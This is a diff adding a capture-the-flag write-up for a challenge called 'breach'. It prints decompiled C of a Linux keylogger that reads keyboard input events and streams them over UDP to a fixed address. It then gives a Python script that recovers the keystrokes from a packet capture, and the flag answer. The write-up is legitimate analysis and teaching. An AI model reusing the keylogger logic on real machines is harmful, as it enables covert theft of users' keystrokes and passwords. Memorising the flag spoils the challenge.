|
| 1 | +--- |
| 2 | +created: 2025-03-01T17:59 |
| 3 | +updated: 2025-03-02T01:35 |
| 4 | +--- |
| 5 | + |
| 6 | +`breach` is a virus that sends keystrokes over UDP it seems. |
| 7 | + |
| 8 | +The linux key event structure is as follows, the virus is sending bytes 16 to 21, which is `type|code|val` where `value` is cut. |
| 9 | + |
| 10 | +```c |
| 11 | +struct input_event { |
| 12 | + struct timeval time; = {long seconds, long microseconds} |
| 13 | + unsigned short type; |
| 14 | + unsigned short code; |
| 15 | + unsigned int value; |
| 16 | +}; |
| 17 | +``` |
| 18 | + |
| 19 | +```c |
| 20 | +int __cdecl __noreturn main(int argc, const char **argv, const char **envp) |
| 21 | +{ |
| 22 | + char v3; // [rsp+7h] [rbp-C9h] BYREF |
| 23 | + int i; // [rsp+8h] [rbp-C8h] |
| 24 | + int v5; // [rsp+Ch] [rbp-C4h] |
| 25 | + int fd; // [rsp+10h] [rbp-C0h] |
| 26 | + int v7; // [rsp+14h] [rbp-BCh] |
| 27 | + char *src; // [rsp+18h] [rbp-B8h] |
| 28 | + struct sockaddr addr; // [rsp+20h] [rbp-B0h] BYREF |
| 29 | + char dest[12]; // [rsp+30h] [rbp-A0h] BYREF |
| 30 | + int v11; // [rsp+3Ch] [rbp-94h] |
| 31 | + __int16 v12; // [rsp+40h] [rbp-90h] |
| 32 | + char v13; // [rsp+42h] [rbp-8Eh] |
| 33 | + char buf[32]; // [rsp+50h] [rbp-80h] BYREF |
| 34 | + char v15[88]; // [rsp+70h] [rbp-60h] BYREF |
| 35 | + unsigned __int64 v16; // [rsp+C8h] [rbp-8h] |
| 36 | + |
| 37 | + v16 = __readfsqword(0x28u); |
| 38 | + strcpy(v15, "cat /proc/bus/input/devices | grep keyboard -A 5 | grep -o -E 'event[0-9]+'"); |
| 39 | + src = (char *)execute_command(v15, argv); |
| 40 | + strcpy(dest, "/dev/input/"); |
| 41 | + v11 = 0; |
| 42 | + v12 = 0; |
| 43 | + v13 = 0; |
| 44 | + strcat(dest, src); |
| 45 | + v5 = strcspn(dest, "\n"); |
| 46 | + dest[v5] = 0; |
| 47 | + fd = open(dest, 0); |
| 48 | + if ( fd < 0 ) |
| 49 | + { |
| 50 | + perror("Error opening file"); |
| 51 | + exit(1); |
| 52 | + } |
| 53 | + free(src); |
| 54 | + v7 = socket(2, 2, 0); |
| 55 | + if ( v7 < 0 ) |
| 56 | + { |
| 57 | + perror("Error creating socket"); |
| 58 | + exit(1); |
| 59 | + } |
| 60 | + addr.sa_family = 2; |
| 61 | + *(_DWORD *)&addr.sa_data[2] = inet_addr("192.168.10.129"); |
| 62 | + *(_WORD *)addr.sa_data = htons(0x539u); |
| 63 | + while ( read(fd, buf, 0x18uLL) == 24 ) |
| 64 | + { |
| 65 | + for ( i = 16; i <= 21; ++i ) |
| 66 | + { |
| 67 | + v3 = buf[i]; |
| 68 | + if ( sendto(v7, &v3, 1uLL, 0, &addr, 0x10u) < 0 ) |
| 69 | + { |
| 70 | + perror("Error sending data"); |
| 71 | + exit(1); |
| 72 | + } |
| 73 | + } |
| 74 | + } |
| 75 | + perror("Error reading from file"); |
| 76 | + exit(1); |
| 77 | +} |
| 78 | +``` |
| 79 | + |
| 80 | +## solve |
| 81 | + |
| 82 | +Just solve it. |
| 83 | + |
| 84 | +```python |
| 85 | +import struct |
| 86 | +import pyshark |
| 87 | + |
| 88 | +KEY_MAPPING = { |
| 89 | + 2: '1', 3: '2', 4: '3', 5: '4', 6: '5', 7: '6', 8: '7', 9: '8', 10: '9', 11: '0', |
| 90 | + 12: '-', 13: '=', 14: 'BACKSPACE', 15: 'TAB', 16: 'q', 17: 'w', 18: 'e', 19: 'r', |
| 91 | + 20: 't', 21: 'y', 22: 'u', 23: 'i', 24: 'o', 25: 'p', 26: '[', 27: ']', 28: 'ENTER', |
| 92 | + 29: 'CTRL', 30: 'a', 31: 's', 32: 'd', 33: 'f', 34: 'g', 35: 'h', 36: 'j', 37: 'k', |
| 93 | + 38: 'l', 39: ';', 40: "'", 41: '`', 42: 'SHIFT', 43: '\\', 44: 'z', 45: 'x', 46: 'c', |
| 94 | + 47: 'v', 48: 'b', 49: 'n', 50: 'm', 51: ',', 52: '.', 53: '/', 54: 'RSHIFT', |
| 95 | + 55: '*', 56: 'ALT', 57: ' ', 58: 'CAPS', 59: 'F1', 60: 'F2', 61: 'F3', |
| 96 | + 62: 'F4', 63: 'F5', 64: 'F6', 65: 'F7', 66: 'F8', 67: 'F9', 68: 'F10', |
| 97 | +} |
| 98 | +SHIFT_KEY_MAPPING = { |
| 99 | + '1': '!', '2': '@', '3': '#', '4': '$', '5': '%', '6': '^', '7': '&', '8': '*', '9': '(', '0': ')', |
| 100 | + '-': '_', '=': '+', '[': '{', ']': '}', '\\': '|', ';': ':', "'": '"', ',': '<', '.': '>', '/': '?', |
| 101 | + '`': '~' |
| 102 | +} |
| 103 | + |
| 104 | + |
| 105 | +def decode_keystrokes(pcap_file): |
| 106 | + cap = pyshark.FileCapture(pcap_file, display_filter=f'udp.stream eq 0') |
| 107 | + all_data = b'' |
| 108 | + for packet in cap: |
| 109 | + try: |
| 110 | + if hasattr(packet, 'udp') and hasattr(packet, 'data'): |
| 111 | + data_hex = packet.data.data |
| 112 | + all_data += bytes.fromhex(data_hex.replace(':', '')) |
| 113 | + except AttributeError: |
| 114 | + continue |
| 115 | + cap.close() |
| 116 | + return all_data |
| 117 | + |
| 118 | + |
| 119 | +""" [16:22] |
| 120 | +struct timeval time; = {long seconds, long microseconds} 16 |
| 121 | +unsigned short type; |
| 122 | +unsigned short code; |
| 123 | +unsigned int value; |
| 124 | +""" |
| 125 | +EV_KEY = 1 |
| 126 | +EV_MSC = 4 |
| 127 | +EV_SYN = 0 |
| 128 | + |
| 129 | +keystrokes = decode_keystrokes("capture.pcapng") |
| 130 | +shift = False |
| 131 | +caps = False |
| 132 | +for i in range(0, len(keystrokes), 6): |
| 133 | + chunk = keystrokes[i:i + 6] |
| 134 | + t, code, v = struct.unpack('HHH', chunk) |
| 135 | + # print(f't: {t}, code: {code}, v: {v}') |
| 136 | + if t == EV_KEY: |
| 137 | + if code in KEY_MAPPING: |
| 138 | + key = KEY_MAPPING[code] |
| 139 | + if v: # pressed |
| 140 | + if key == 'SHIFT': |
| 141 | + shift = True |
| 142 | + elif key == 'CAPS': |
| 143 | + caps = not caps |
| 144 | + else: |
| 145 | + if shift ^ caps: |
| 146 | + key = SHIFT_KEY_MAPPING.get(key, key.upper()) |
| 147 | + shift = False |
| 148 | + print(key, end='') |
| 149 | + else: |
| 150 | + print(f'Unknown key: {code}') |
| 151 | +``` |
| 152 | + |
| 153 | +```flag |
| 154 | +ATHACKCTF{Y0u_533_h0w_L1NUX_h4NdL3_Input$} |
| 155 | +``` |
0 commit comments